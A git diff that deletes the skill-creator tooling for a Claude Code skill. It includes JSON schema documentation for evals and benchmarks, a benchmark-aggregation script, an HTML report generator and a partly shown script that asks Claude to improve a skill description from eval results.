- - - - diff --git a/.claude/skills/skill-creator/references/schemas.md b/.claude/skills/skill-creator/references/schemas.md deleted file mode 100644 index b6eeaa2d..00000000 --- a/.claude/skills/skill-creator/references/schemas.md +++ /dev/null @@ -1,430 +0,0 @@ -# JSON Schemas - -This document defines the JSON schemas used by skill-creator. - ---- - -## evals.json - -Defines the evals for a skill. Located at `evals/evals.json` within the skill directory. - -```json -{ - "skill_name": "example-skill", - "evals": [ - { - "id": 1, - "prompt": "User's example prompt", - "expected_output": "Description of expected result", - "files": ["evals/files/sample1.pdf"], - "expectations": [ - "The output includes X", - "The skill used script Y" - ] - } - ] -} -``` - -**Fields:** -- `skill_name`: Name matching the skill's frontmatter -- `evals[].id`: Unique integer identifier -- `evals[].prompt`: The task to execute -- `evals[].expected_output`: Human-readable description of success -- `evals[].files`: Optional list of input file paths (relative to skill root) -- `evals[].expectations`: List of verifiable statements - ---- - -## history.json - -Tracks version progression in Improve mode. Located at workspace root. - -```json -{ - "started_at": "2026-01-15T10:30:00Z", - "skill_name": "pdf", - "current_best": "v2", - "iterations": [ - { - "version": "v0", - "parent": null, - "expectation_pass_rate": 0.65, - "grading_result": "baseline", - "is_current_best": false - }, - { - "version": "v1", - "parent": "v0", - "expectation_pass_rate": 0.75, - "grading_result": "won", - "is_current_best": false - }, - { - "version": "v2", - "parent": "v1", - "expectation_pass_rate": 0.85, - "grading_result": "won", - "is_current_best": true - } - ] -} -``` - -**Fields:** -- `started_at`: ISO timestamp of when improvement started -- `skill_name`: Name of the skill being improved -- `current_best`: Version identifier of the best performer -- `iterations[].version`: Version identifier (v0, v1, ...) -- `iterations[].parent`: Parent version this was derived from -- `iterations[].expectation_pass_rate`: Pass rate from grading -- `iterations[].grading_result`: "baseline", "won", "lost", or "tie" -- `iterations[].is_current_best`: Whether this is the current best version - ---- - -## grading.json - -Output from the grader agent. Located at `/grading.json`. - -```json -{ - "expectations": [ - { - "text": "The output includes the name 'John Smith'", - "passed": true, - "evidence": "Found in transcript Step 3: 'Extracted names: John Smith, Sarah Johnson'" - }, - { - "text": "The spreadsheet has a SUM formula in cell B10", - "passed": false, - "evidence": "No spreadsheet was created. The output was a text file." - } - ], - "summary": { - "passed": 2, - "failed": 1, - "total": 3, - "pass_rate": 0.67 - }, - "execution_metrics": { - "tool_calls": { - "Read": 5, - "Write": 2, - "Bash": 8 - }, - "total_tool_calls": 15, - "total_steps": 6, - "errors_encountered": 0, - "output_chars": 12450, - "transcript_chars": 3200 - }, - "timing": { - "executor_duration_seconds": 165.0, - "grader_duration_seconds": 26.0, - "total_duration_seconds": 191.0 - }, - "claims": [ - { - "claim": "The form has 12 fillable fields", - "type": "factual", - "verified": true, - "evidence": "Counted 12 fields in field_info.json" - } - ], - "user_notes_summary": { - "uncertainties": ["Used 2023 data, may be stale"], - "needs_review": [], - "workarounds": ["Fell back to text overlay for non-fillable fields"] - }, - "eval_feedback": { - "suggestions": [ - { - "assertion": "The output includes the name 'John Smith'", - "reason": "A hallucinated document that mentions the name would also pass" - } - ], - "overall": "Assertions check presence but not correctness." - } -} -``` - -**Fields:** -- `expectations[]`: Graded expectations with evidence -- `summary`: Aggregate pass/fail counts -- `execution_metrics`: Tool usage and output size (from executor's metrics.json) -- `timing`: Wall clock timing (from timing.json) -- `claims`: Extracted and verified claims from the output -- `user_notes_summary`: Issues flagged by the executor -- `eval_feedback`: (optional) Improvement suggestions for the evals, only present when the grader identifies issues worth raising - ---- - -## metrics.json - -Output from the executor agent. Located at `/outputs/metrics.json`. - -```json -{ - "tool_calls": { - "Read": 5, - "Write": 2, - "Bash": 8, - "Edit": 1, - "Glob": 2, - "Grep": 0 - }, - "total_tool_calls": 18, - "total_steps": 6, - "files_created": ["filled_form.pdf", "field_values.json"], - "errors_encountered": 0, - "output_chars": 12450, - "transcript_chars": 3200 -} -``` - -**Fields:** -- `tool_calls`: Count per tool type -- `total_tool_calls`: Sum of all tool calls -- `total_steps`: Number of major execution steps -- `files_created`: List of output files created -- `errors_encountered`: Number of errors during execution -- `output_chars`: Total character count of output files -- `transcript_chars`: Character count of transcript - ---- - -## timing.json - -Wall clock timing for a run. Located at `/timing.json`. - -**How to capture:** When a subagent task completes, the task notification includes `total_tokens` and `duration_ms`. Save these immediately — they are not persisted anywhere else and cannot be recovered after the fact. - -```json -{ - "total_tokens": 84852, - "duration_ms": 23332, - "total_duration_seconds": 23.3, - "executor_start": "2026-01-15T10:30:00Z", - "executor_end": "2026-01-15T10:32:45Z", - "executor_duration_seconds": 165.0, - "grader_start": "2026-01-15T10:32:46Z", - "grader_end": "2026-01-15T10:33:12Z", - "grader_duration_seconds": 26.0 -} -``` - ---- - -## benchmark.json - -Output from Benchmark mode. Located at `benchmarks//benchmark.json`. - -```json -{ - "metadata": { - "skill_name": "pdf", - "skill_path": "/path/to/pdf", - "executor_model": "claude-sonnet-4-20250514", - "analyzer_model": "most-capable-model", - "timestamp": "2026-01-15T10:30:00Z", - "evals_run": [1, 2, 3], - "runs_per_configuration": 3 - }, - - "runs": [ - { - "eval_id": 1, - "eval_name": "Ocean", - "configuration": "with_skill", - "run_number": 1, - "result": { - "pass_rate": 0.85, - "passed": 6, - "failed": 1, - "total": 7, - "time_seconds": 42.5, - "tokens": 3800, - "tool_calls": 18, - "errors": 0 - }, - "expectations": [ - {"text": "...", "passed": true, "evidence": "..."} - ], - "notes": [ - "Used 2023 data, may be stale", - "Fell back to text overlay for non-fillable fields" - ] - } - ], - - "run_summary": { - "with_skill": { - "pass_rate": {"mean": 0.85, "stddev": 0.05, "min": 0.80, "max": 0.90}, - "time_seconds": {"mean": 45.0, "stddev": 12.0, "min": 32.0, "max": 58.0}, - "tokens": {"mean": 3800, "stddev": 400, "min": 3200, "max": 4100} - }, - "without_skill": { - "pass_rate": {"mean": 0.35, "stddev": 0.08, "min": 0.28, "max": 0.45}, - "time_seconds": {"mean": 32.0, "stddev": 8.0, "min": 24.0, "max": 42.0}, - "tokens": {"mean": 2100, "stddev": 300, "min": 1800, "max": 2500} - }, - "delta": { - "pass_rate": "+0.50", - "time_seconds": "+13.0", - "tokens": "+1700" - } - }, - - "notes": [ - "Assertion 'Output is a PDF file' passes 100% in both configurations - may not differentiate skill value", - "Eval 3 shows high variance (50% ± 40%) - may be flaky or model-dependent", - "Without-skill runs consistently fail on table extraction expectations", - "Skill adds 13s average execution time but improves pass rate by 50%" - ] -} -``` - -**Fields:** -- `metadata`: Information about the benchmark run - - `skill_name`: Name of the skill - - `timestamp`: When the benchmark was run - - `evals_run`: List of eval names or IDs - - `runs_per_configuration`: Number of runs per config (e.g. 3) -- `runs[]`: Individual run results - - `eval_id`: Numeric eval identifier - - `eval_name`: Human-readable eval name (used as section header in the viewer) - - `configuration`: Must be `"with_skill"` or `"without_skill"` (the viewer uses this exact string for grouping and color coding) - - `run_number`: Integer run number (1, 2, 3...) - - `result`: Nested object with `pass_rate`, `passed`, `total`, `time_seconds`, `tokens`, `errors` -- `run_summary`: Statistical aggregates per configuration - - `with_skill` / `without_skill`: Each contains `pass_rate`, `time_seconds`, `tokens` objects with `mean` and `stddev` fields - - `delta`: Difference strings like `"+0.50"`, `"+13.0"`, `"+1700"` -- `notes`: Freeform observations from the analyzer - -**Important:** The viewer reads these field names exactly. Using `config` instead of `configuration`, or putting `pass_rate` at the top level of a run instead of nested under `result`, will cause the viewer to show empty/zero values. Always reference this schema when generating benchmark.json manually. - ---- - -## comparison.json - -Output from blind comparator. Located at `/comparison-N.json`. - -```json -{ - "winner": "A", - "reasoning": "Output A provides a complete solution with proper formatting and all required fields. Output B is missing the date field and has formatting inconsistencies.", - "rubric": { - "A": { - "content": { - "correctness": 5, - "completeness": 5, - "accuracy": 4 - }, - "structure": { - "organization": 4, - "formatting": 5, - "usability": 4 - }, - "content_score": 4.7, - "structure_score": 4.3, - "overall_score": 9.0 - }, - "B": { - "content": { - "correctness": 3, - "completeness": 2, - "accuracy": 3 - }, - "structure": { - "organization": 3, - "formatting": 2, - "usability": 3 - }, - "content_score": 2.7, - "structure_score": 2.7, - "overall_score": 5.4 - } - }, - "output_quality": { - "A": { - "score": 9, - "strengths": ["Complete solution", "Well-formatted", "All fields present"], - "weaknesses": ["Minor style inconsistency in header"] - }, - "B": { - "score": 5, - "strengths": ["Readable output", "Correct basic structure"], - "weaknesses": ["Missing date field", "Formatting inconsistencies", "Partial data extraction"] - } - }, - "expectation_results": { - "A": { - "passed": 4, - "total": 5, - "pass_rate": 0.80, - "details": [ - {"text": "Output includes name", "passed": true} - ] - }, - "B": { - "passed": 3, - "total": 5, - "pass_rate": 0.60, - "details": [ - {"text": "Output includes name", "passed": true} - ] - } - } -} -``` - ---- - -## analysis.json - -Output from post-hoc analyzer. Located at `/analysis.json`. - -```json -{ - "comparison_summary": { - "winner": "A", - "winner_skill": "path/to/winner/skill", - "loser_skill": "path/to/loser/skill", - "comparator_reasoning": "Brief summary of why comparator chose winner" - }, - "winner_strengths": [ - "Clear step-by-step instructions for handling multi-page documents", - "Included validation script that caught formatting errors" - ], - "loser_weaknesses": [ - "Vague instruction 'process the document appropriately' led to inconsistent behavior", - "No script for validation, agent had to improvise" - ], - "instruction_following": { - "winner": { - "score": 9, - "issues": ["Minor: skipped optional logging step"] - }, - "loser": { - "score": 6, - "issues": [ - "Did not use the skill's formatting template", - "Invented own approach instead of following step 3" - ] - } - }, - "improvement_suggestions": [ - { - "priority": "high", - "category": "instructions", - "suggestion": "Replace 'process the document appropriately' with explicit steps", - "expected_impact": "Would eliminate ambiguity that caused inconsistent behavior" - } - ], - "transcript_insights": { - "winner_execution_pattern": "Read skill -> Followed 5-step process -> Used validation script", - "loser_execution_pattern": "Read skill -> Unclear on approach -> Tried 3 different methods" - } -} -``` diff --git a/.claude/skills/skill-creator/scripts/__init__.py b/.claude/skills/skill-creator/scripts/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/.claude/skills/skill-creator/scripts/aggregate_benchmark.py b/.claude/skills/skill-creator/scripts/aggregate_benchmark.py deleted file mode 100755 index 3e66e8c1..00000000 --- a/.claude/skills/skill-creator/scripts/aggregate_benchmark.py +++ /dev/null @@ -1,401 +0,0 @@ -#!/usr/bin/env python3 -""" -Aggregate individual run results into benchmark summary statistics. - -Reads grading.json files from run directories and produces: -- run_summary with mean, stddev, min, max for each metric -- delta between with_skill and without_skill configurations - -Usage: - python aggregate_benchmark.py - -Example: - python aggregate_benchmark.py benchmarks/2026-01-15T10-30-00/ - -The script supports two directory layouts: - - Workspace layout (from skill-creator iterations): - / - └── eval-N/ - ├── with_skill/ - │ ├── run-1/grading.json - │ └── run-2/grading.json - └── without_skill/ - ├── run-1/grading.json - └── run-2/grading.json - - Legacy layout (with runs/ subdirectory): - / - └── runs/ - └── eval-N/ - ├── with_skill/ - │ └── run-1/grading.json - └── without_skill/ - └── run-1/grading.json -""" - -import argparse -import json -import math -import sys -from datetime import datetime, timezone -from pathlib import Path - - -def calculate_stats(values: list[float]) -> dict: - """Calculate mean, stddev, min, max for a list of values.""" - if not values: - return {"mean": 0.0, "stddev": 0.0, "min": 0.0, "max": 0.0} - - n = len(values) - mean = sum(values) / n - - if n > 1: - variance = sum((x - mean) ** 2 for x in values) / (n - 1) - stddev = math.sqrt(variance) - else: - stddev = 0.0 - - return { - "mean": round(mean, 4), - "stddev": round(stddev, 4), - "min": round(min(values), 4), - "max": round(max(values), 4) - } - - -def load_run_results(benchmark_dir: Path) -> dict: - """ - Load all run results from a benchmark directory. - - Returns dict keyed by config name (e.g. "with_skill"/"without_skill", - or "new_skill"/"old_skill"), each containing a list of run results. - """ - # Support both layouts: eval dirs directly under benchmark_dir, or under runs/ - runs_dir = benchmark_dir / "runs" - if runs_dir.exists(): - search_dir = runs_dir - elif list(benchmark_dir.glob("eval-*")): - search_dir = benchmark_dir - else: - print(f"No eval directories found in {benchmark_dir} or {benchmark_dir / 'runs'}") - return {} - - results: dict[str, list] = {} - - for eval_idx, eval_dir in enumerate(sorted(search_dir.glob("eval-*"))): - metadata_path = eval_dir / "eval_metadata.json" - if metadata_path.exists(): - try: - with open(metadata_path) as mf: - eval_id = json.load(mf).get("eval_id", eval_idx) - except (json.JSONDecodeError, OSError): - eval_id = eval_idx - else: - try: - eval_id = int(eval_dir.name.split("-")[1]) - except ValueError: - eval_id = eval_idx - - # Discover config directories dynamically rather than hardcoding names - for config_dir in sorted(eval_dir.iterdir()): - if not config_dir.is_dir(): - continue - # Skip non-config directories (inputs, outputs, etc.) - if not list(config_dir.glob("run-*")): - continue - config = config_dir.name - if config not in results: - results[config] = [] - - for run_dir in sorted(config_dir.glob("run-*")): - run_number = int(run_dir.name.split("-")[1]) - grading_file = run_dir / "grading.json" - - if not grading_file.exists(): - print(f"Warning: grading.json not found in {run_dir}") - continue - - try: - with open(grading_file) as f: - grading = json.load(f) - except json.JSONDecodeError as e: - print(f"Warning: Invalid JSON in {grading_file}: {e}") - continue - - # Extract metrics - result = { - "eval_id": eval_id, - "run_number": run_number, - "pass_rate": grading.get("summary", {}).get("pass_rate", 0.0), - "passed": grading.get("summary", {}).get("passed", 0), - "failed": grading.get("summary", {}).get("failed", 0), - "total": grading.get("summary", {}).get("total", 0), - } - - # Extract timing — check grading.json first, then sibling timing.json - timing = grading.get("timing", {}) - result["time_seconds"] = timing.get("total_duration_seconds", 0.0) - timing_file = run_dir / "timing.json" - if result["time_seconds"] == 0.0 and timing_file.exists(): - try: - with open(timing_file) as tf: - timing_data = json.load(tf) - result["time_seconds"] = timing_data.get("total_duration_seconds", 0.0) - result["tokens"] = timing_data.get("total_tokens", 0) - except json.JSONDecodeError: - pass - - # Extract metrics if available - metrics = grading.get("execution_metrics", {}) - result["tool_calls"] = metrics.get("total_tool_calls", 0) - if not result.get("tokens"): - result["tokens"] = metrics.get("output_chars", 0) - result["errors"] = metrics.get("errors_encountered", 0) - - # Extract expectations — viewer requires fields: text, passed, evidence - raw_expectations = grading.get("expectations", []) - for exp in raw_expectations: - if "text" not in exp or "passed" not in exp: - print(f"Warning: expectation in {grading_file} missing required fields (text, passed, evidence): {exp}") - result["expectations"] = raw_expectations - - # Extract notes from user_notes_summary - notes_summary = grading.get("user_notes_summary", {}) - notes = [] - notes.extend(notes_summary.get("uncertainties", [])) - notes.extend(notes_summary.get("needs_review", [])) - notes.extend(notes_summary.get("workarounds", [])) - result["notes"] = notes - - results[config].append(result) - - return results - - -def aggregate_results(results: dict) -> dict: - """ - Aggregate run results into summary statistics. - - Returns run_summary with stats for each configuration and delta. - """ - run_summary = {} - configs = list(results.keys()) - - for config in configs: - runs = results.get(config, []) - - if not runs: - run_summary[config] = { - "pass_rate": {"mean": 0.0, "stddev": 0.0, "min": 0.0, "max": 0.0}, - "time_seconds": {"mean": 0.0, "stddev": 0.0, "min": 0.0, "max": 0.0}, - "tokens": {"mean": 0, "stddev": 0, "min": 0, "max": 0} - } - continue - - pass_rates = [r["pass_rate"] for r in runs] - times = [r["time_seconds"] for r in runs] - tokens = [r.get("tokens", 0) for r in runs] - - run_summary[config] = { - "pass_rate": calculate_stats(pass_rates), - "time_seconds": calculate_stats(times), - "tokens": calculate_stats(tokens) - } - - # Calculate delta between the first two configs (if two exist) - if len(configs) >= 2: - primary = run_summary.get(configs[0], {}) - baseline = run_summary.get(configs[1], {}) - else: - primary = run_summary.get(configs[0], {}) if configs else {} - baseline = {} - - delta_pass_rate = primary.get("pass_rate", {}).get("mean", 0) - baseline.get("pass_rate", {}).get("mean", 0) - delta_time = primary.get("time_seconds", {}).get("mean", 0) - baseline.get("time_seconds", {}).get("mean", 0) - delta_tokens = primary.get("tokens", {}).get("mean", 0) - baseline.get("tokens", {}).get("mean", 0) - - run_summary["delta"] = { - "pass_rate": f"{delta_pass_rate:+.2f}", - "time_seconds": f"{delta_time:+.1f}", - "tokens": f"{delta_tokens:+.0f}" - } - - return run_summary - - -def generate_benchmark(benchmark_dir: Path, skill_name: str = "", skill_path: str = "") -> dict: - """ - Generate complete benchmark.json from run results. - """ - results = load_run_results(benchmark_dir) - run_summary = aggregate_results(results) - - # Build runs array for benchmark.json - runs = [] - for config in results: - for result in results[config]: - runs.append({ - "eval_id": result["eval_id"], - "configuration": config, - "run_number": result["run_number"], - "result": { - "pass_rate": result["pass_rate"], - "passed": result["passed"], - "failed": result["failed"], - "total": result["total"], - "time_seconds": result["time_seconds"], - "tokens": result.get("tokens", 0), - "tool_calls": result.get("tool_calls", 0), - "errors": result.get("errors", 0) - }, - "expectations": result["expectations"], - "notes": result["notes"] - }) - - # Determine eval IDs from results - eval_ids = sorted(set( - r["eval_id"] - for config in results.values() - for r in config - )) - - benchmark = { - "metadata": { - "skill_name": skill_name or "", - "skill_path": skill_path or "", - "executor_model": "", - "analyzer_model": "", - "timestamp": datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ"), - "evals_run": eval_ids, - "runs_per_configuration": 3 - }, - "runs": runs, - "run_summary": run_summary, - "notes": [] # To be filled by analyzer - } - - return benchmark - - -def generate_markdown(benchmark: dict) -> str: - """Generate human-readable benchmark.md from benchmark data.""" - metadata = benchmark["metadata"] - run_summary = benchmark["run_summary"] - - # Determine config names (excluding "delta") - configs = [k for k in run_summary if k != "delta"] - config_a = configs[0] if len(configs) >= 1 else "config_a" - config_b = configs[1] if len(configs) >= 2 else "config_b" - label_a = config_a.replace("_", " ").title() - label_b = config_b.replace("_", " ").title() - - lines = [ - f"# Skill Benchmark: {metadata['skill_name']}", - "", - f"**Model**: {metadata['executor_model']}", - f"**Date**: {metadata['timestamp']}", - f"**Evals**: {', '.join(map(str, metadata['evals_run']))} ({metadata['runs_per_configuration']} runs each per configuration)", - "", - "## Summary", - "", - f"| Metric | {label_a} | {label_b} | Delta |", - "|--------|------------|---------------|-------|", - ] - - a_summary = run_summary.get(config_a, {}) - b_summary = run_summary.get(config_b, {}) - delta = run_summary.get("delta", {}) - - # Format pass rate - a_pr = a_summary.get("pass_rate", {}) - b_pr = b_summary.get("pass_rate", {}) - lines.append(f"| Pass Rate | {a_pr.get('mean', 0)*100:.0f}% ± {a_pr.get('stddev', 0)*100:.0f}% | {b_pr.get('mean', 0)*100:.0f}% ± {b_pr.get('stddev', 0)*100:.0f}% | {delta.get('pass_rate', '—')} |") - - # Format time - a_time = a_summary.get("time_seconds", {}) - b_time = b_summary.get("time_seconds", {}) - lines.append(f"| Time | {a_time.get('mean', 0):.1f}s ± {a_time.get('stddev', 0):.1f}s | {b_time.get('mean', 0):.1f}s ± {b_time.get('stddev', 0):.1f}s | {delta.get('time_seconds', '—')}s |") - - # Format tokens - a_tokens = a_summary.get("tokens", {}) - b_tokens = b_summary.get("tokens", {}) - lines.append(f"| Tokens | {a_tokens.get('mean', 0):.0f} ± {a_tokens.get('stddev', 0):.0f} | {b_tokens.get('mean', 0):.0f} ± {b_tokens.get('stddev', 0):.0f} | {delta.get('tokens', '—')} |") - - # Notes section - if benchmark.get("notes"): - lines.extend([ - "", - "## Notes", - "" - ]) - for note in benchmark["notes"]: - lines.append(f"- {note}") - - return "\n".join(lines) - - -def main(): - parser = argparse.ArgumentParser( - description="Aggregate benchmark run results into summary statistics" - ) - parser.add_argument( - "benchmark_dir", - type=Path, - help="Path to the benchmark directory" - ) - parser.add_argument( - "--skill-name", - default="", - help="Name of the skill being benchmarked" - ) - parser.add_argument( - "--skill-path", - default="", - help="Path to the skill being benchmarked" - ) - parser.add_argument( - "--output", "-o", - type=Path, - help="Output path for benchmark.json (default: /benchmark.json)" - ) - - args = parser.parse_args() - - if not args.benchmark_dir.exists(): - print(f"Directory not found: {args.benchmark_dir}") - sys.exit(1) - - # Generate benchmark - benchmark = generate_benchmark(args.benchmark_dir, args.skill_name, args.skill_path) - - # Determine output paths - output_json = args.output or (args.benchmark_dir / "benchmark.json") - output_md = output_json.with_suffix(".md") - - # Write benchmark.json - with open(output_json, "w") as f: - json.dump(benchmark, f, indent=2) - print(f"Generated: {output_json}") - - # Write benchmark.md - markdown = generate_markdown(benchmark) - with open(output_md, "w") as f: - f.write(markdown) - print(f"Generated: {output_md}") - - # Print summary - run_summary = benchmark["run_summary"] - configs = [k for k in run_summary if k != "delta"] - delta = run_summary.get("delta", {}) - - print(f"\nSummary:") - for config in configs: - pr = run_summary[config]["pass_rate"]["mean"] - label = config.replace("_", " ").title() - print(f" {label}: {pr*100:.1f}% pass rate") - print(f" Delta: {delta.get('pass_rate', '—')}") - - -if __name__ == "__main__": - main() diff --git a/.claude/skills/skill-creator/scripts/generate_report.py b/.claude/skills/skill-creator/scripts/generate_report.py deleted file mode 100755 index 959e30a0..00000000 --- a/.claude/skills/skill-creator/scripts/generate_report.py +++ /dev/null @@ -1,326 +0,0 @@ -#!/usr/bin/env python3 -"""Generate an HTML report from run_loop.py output. - -Takes the JSON output from run_loop.py and generates a visual HTML report -showing each description attempt with check/x for each test case. -Distinguishes between train and test queries. -""" - -import argparse -import html -import json -import sys -from pathlib import Path - - -def generate_html(data: dict, auto_refresh: bool = False, skill_name: str = "") -> str: - """Generate HTML report from loop output data. If auto_refresh is True, adds a meta refresh tag.""" - history = data.get("history", []) - holdout = data.get("holdout", 0) - title_prefix = html.escape(skill_name + " \u2014 ") if skill_name else "" - - # Get all unique queries from train and test sets, with should_trigger info - train_queries: list[dict] = [] - test_queries: list[dict] = [] - if history: - for r in history[0].get("train_results", history[0].get("results", [])): - train_queries.append({"query": r["query"], "should_trigger": r.get("should_trigger", True)}) - if history[0].get("test_results"): - for r in history[0].get("test_results", []): - test_queries.append({"query": r["query"], "should_trigger": r.get("should_trigger", True)}) - - refresh_tag = ' \n' if auto_refresh else "" - - html_parts = [""" - - - -""" + refresh_tag + """ """ + title_prefix + """Skill Description Optimization - - - - - - -

""" + title_prefix + """Skill Description Optimization

-
- Optimizing your skill's description. This page updates automatically as Claude tests different versions of your skill's description. Each row is an iteration — a new description attempt. The columns show test queries: green checkmarks mean the skill triggered correctly (or correctly didn't trigger), red crosses mean it got it wrong. The "Train" score shows performance on queries used to improve the description; the "Test" score shows performance on held-out queries the optimizer hasn't seen. When it's done, Claude will apply the best-performing description to your skill. -
-"""] - - # Summary section - best_test_score = data.get('best_test_score') - best_train_score = data.get('best_train_score') - html_parts.append(f""" -
-

Original: {html.escape(data.get('original_description', 'N/A'))}

-

Best: {html.escape(data.get('best_description', 'N/A'))}

-

Best Score: {data.get('best_score', 'N/A')} {'(test)' if best_test_score else '(train)'}

-

Iterations: {data.get('iterations_run', 0)} | Train: {data.get('train_size', '?')} | Test: {data.get('test_size', '?')}

-
-""") - - # Legend - html_parts.append(""" -
- Query columns: - Should trigger - Should NOT trigger - Train - Test -
-""") - - # Table header - html_parts.append(""" -
- - - - - - - -""") - - # Add column headers for train queries - for qinfo in train_queries: - polarity = "positive-col" if qinfo["should_trigger"] else "negative-col" - html_parts.append(f' \n') - - # Add column headers for test queries (different color) - for qinfo in test_queries: - polarity = "positive-col" if qinfo["should_trigger"] else "negative-col" - html_parts.append(f' \n') - - html_parts.append(""" - - -""") - - # Find best iteration for highlighting - if test_queries: - best_iter = max(history, key=lambda h: h.get("test_passed") or 0).get("iteration") - else: - best_iter = max(history, key=lambda h: h.get("train_passed", h.get("passed", 0))).get("iteration") - - # Add rows for each iteration - for h in history: - iteration = h.get("iteration", "?") - train_passed = h.get("train_passed", h.get("passed", 0)) - train_total = h.get("train_total", h.get("total", 0)) - test_passed = h.get("test_passed") - test_total = h.get("test_total") - description = h.get("description", "") - train_results = h.get("train_results", h.get("results", [])) - test_results = h.get("test_results", []) - - # Create lookups for results by query - train_by_query = {r["query"]: r for r in train_results} - test_by_query = {r["query"]: r for r in test_results} if test_results else {} - - # Compute aggregate correct/total runs across all retries - def aggregate_runs(results: list[dict]) -> tuple[int, int]: - correct = 0 - total = 0 - for r in results: - runs = r.get("runs", 0) - triggers = r.get("triggers", 0) - total += runs - if r.get("should_trigger", True): - correct += triggers - else: - correct += runs - triggers - return correct, total - - train_correct, train_runs = aggregate_runs(train_results) - test_correct, test_runs = aggregate_runs(test_results) - - # Determine score classes - def score_class(correct: int, total: int) -> str: - if total > 0: - ratio = correct / total - if ratio >= 0.8: - return "score-good" - elif ratio >= 0.5: - return "score-ok" - return "score-bad" - - train_class = score_class(train_correct, train_runs) - test_class = score_class(test_correct, test_runs) - - row_class = "best-row" if iteration == best_iter else "" - - html_parts.append(f""" - - - - -""") - - # Add result for each train query - for qinfo in train_queries: - r = train_by_query.get(qinfo["query"], {}) - did_pass = r.get("pass", False) - triggers = r.get("triggers", 0) - runs = r.get("runs", 0) - - icon = "✓" if did_pass else "✗" - css_class = "pass" if did_pass else "fail" - - html_parts.append(f' \n') - - # Add result for each test query (with different background) - for qinfo in test_queries: - r = test_by_query.get(qinfo["query"], {}) - did_pass = r.get("pass", False) - triggers = r.get("triggers", 0) - runs = r.get("runs", 0) - - icon = "✓" if did_pass else "✗" - css_class = "pass" if did_pass else "fail" - - html_parts.append(f' \n') - - html_parts.append(" \n") - - html_parts.append(""" -
IterTrainTestDescription{html.escape(qinfo["query"])}{html.escape(qinfo["query"])}
{iteration}{train_correct}/{train_runs}{test_correct}/{test_runs}{html.escape(description)}{icon}{triggers}/{runs}{icon}{triggers}/{runs}
-
-""") - - html_parts.append(""" - - -""") - - return "".join(html_parts) - - -def main(): - parser = argparse.ArgumentParser(description="Generate HTML report from run_loop output") - parser.add_argument("input", help="Path to JSON output from run_loop.py (or - for stdin)") - parser.add_argument("-o", "--output", default=None, help="Output HTML file (default: stdout)") - parser.add_argument("--skill-name", default="", help="Skill name to include in the report title") - args = parser.parse_args() - - if args.input == "-": - data = json.load(sys.stdin) - else: - data = json.loads(Path(args.input).read_text()) - - html_output = generate_html(data, skill_name=args.skill_name) - - if args.output: - Path(args.output).write_text(html_output) - print(f"Report written to {args.output}", file=sys.stderr) - else: - print(html_output) - - -if __name__ == "__main__": - main() diff --git a/.claude/skills/skill-creator/scripts/improve_description.py b/.claude/skills/skill-creator/scripts/improve_description.py deleted file mode 100755 index 06bcec76..00000000 --- a/.claude/skills/skill-creator/scripts/improve_description.py +++ /dev/null @@ -1,247 +0,0 @@ -#!/usr/bin/env python3 -"""Improve a skill description based on eval results. - -Takes eval results (from run_eval.py) and generates an improved description -by calling `claude -p` as a subprocess (same auth pattern as run_eval.py — -uses the session's Claude Code auth, no separate ANTHROPIC_API_KEY needed). -""" - -import argparse -import json -import os -import re -import subprocess -import sys -from pathlib import Path - -from scripts.utils import parse_skill_md - - -def _call_claude(prompt: str, model: str | None, timeout: int = 300) -> str: - """Run `claude -p` with the prompt on stdin and return the text response. - - Prompt goes over stdin (not argv) because it embeds the full SKILL.md - body and can easily exceed comfortable argv length. - """ - cmd = ["claude", "-p", "--output-format", "text"] - if model: - cmd.extend(["--model", model]) - - # Remove CLAUDECODE env var to allow nesting claude -p inside a - # Claude Code session. The guard is for interactive terminal conflicts; - # programmatic subprocess usage is safe. Same pattern as run_eval.py. - env = {k: v for k, v in os.environ.items() if k != "CLAUDECODE"} - - result = subprocess.run( - cmd, - input=prompt, - capture_output=True, - text=True, - env=env, - timeout=timeout, - ) - if result.returncode != 0: - raise RuntimeError( - f"claude -p exited {result.returncode}\nstderr: {result.stderr}" - ) - return result.stdout - - -def improve_description( - skill_name: str, - skill_content: str, - current_description: str, - eval_results: dict, - history: list[dict], - model: str, - test_results: dict | None = None, - log_dir: Path | None = None, - iteration: int | None = None, -) -> str: - """Call Claude to improve the description based on eval results.""" - failed_triggers = [ - r for r in eval_results["results"] - if r["should_trigger"] and not r["pass"] - ] - false_triggers = [ - r for r in eval_results["results"] - if not r["should_trigger"] and not r["pass"] - ] - - # Build scores summary - train_score = f"{eval_results['summary']['passed']}/{eval_results['summary']['total']}" - if test_results: - test_score = f"{test_results['summary']['passed']}/{test_results['summary']['total']}" - scores_summary = f"Train: {train_score}, Test: {test_score}" - else: - scores_summary = f"Train: {train_score}" - - prompt = f"""You are optimizing a skill description for a Claude Code skill called "{skill_name}". A "skill" is sort of like a prompt, but with progressive disclosure -- there's a title and description that Claude sees when deciding whether to use the skill, and then if it does use the skill, it reads the .md file which has lots more details and potentially links to other resources in the skill folder like helper files and scripts and additional documentation or examples. - -The description appears in Claude's "available_skills" list. When a user sends a query, Claude decides whether to invoke the skill based solely on the title and on this description. Your goal is to write a description that triggers for relevant queries, and doesn't trigger for irrelevant ones. - -Here's the current description: - -"{current_description}" - - -Current scores ({scores_summary}): - -""" - if failed_triggers: - prompt += "FAILED TO TRIGGER (should have triggered but didn't):\n" - for r in failed_triggers: - prompt += f' - "{r["query"]}" (triggered {r["triggers"]}/{r["runs"]} times)\n' - prompt += "\n" - - if false_triggers: - prompt += "FALSE TRIGGERS (triggered but shouldn't have):\n" - for r in false_triggers: - prompt += f' - "{r["query"]}" (triggered {r["triggers"]}/{r["runs"]} times)\n' - prompt += "\n" - - if history: - prompt += "PREVIOUS ATTEMPTS (do NOT repeat these — try something structurally different):\n\n" - for h in history: - train_s = f"{h.get('train_passed', h.get('passed', 0))}/{h.get('train_total', h.get('total', 0))}" - test_s = f"{h.get('test_passed', '?')}/{h.get('test_total', '?')}" if h.get('test_passed') is not None else None - score_str = f"train={train_s}" + (f", test={test_s}" if test_s else "") - prompt += f'\n' - prompt += f'Description: "{h["description"]}"\n' - if "results" in h: - prompt += "Train results:\n" - for r in h["results"]: - status = "PASS" if r["pass"] else "FAIL" - prompt += f' [{status}] "{r["query"][:80]}" (triggered {r["triggers"]}/{r["runs"]})\n' - if h.get("note"): - prompt += f'Note: {h["note"]}\n' - prompt += "\n\n" - - prompt += f""" - -Skill content (for context on what the skill does): - -{skill_content} - - -Based on the failures, write a new and improved description that is more likely to trigger correctly. When I say "based on the failures", it's a bit of a tricky line to walk because we don't want 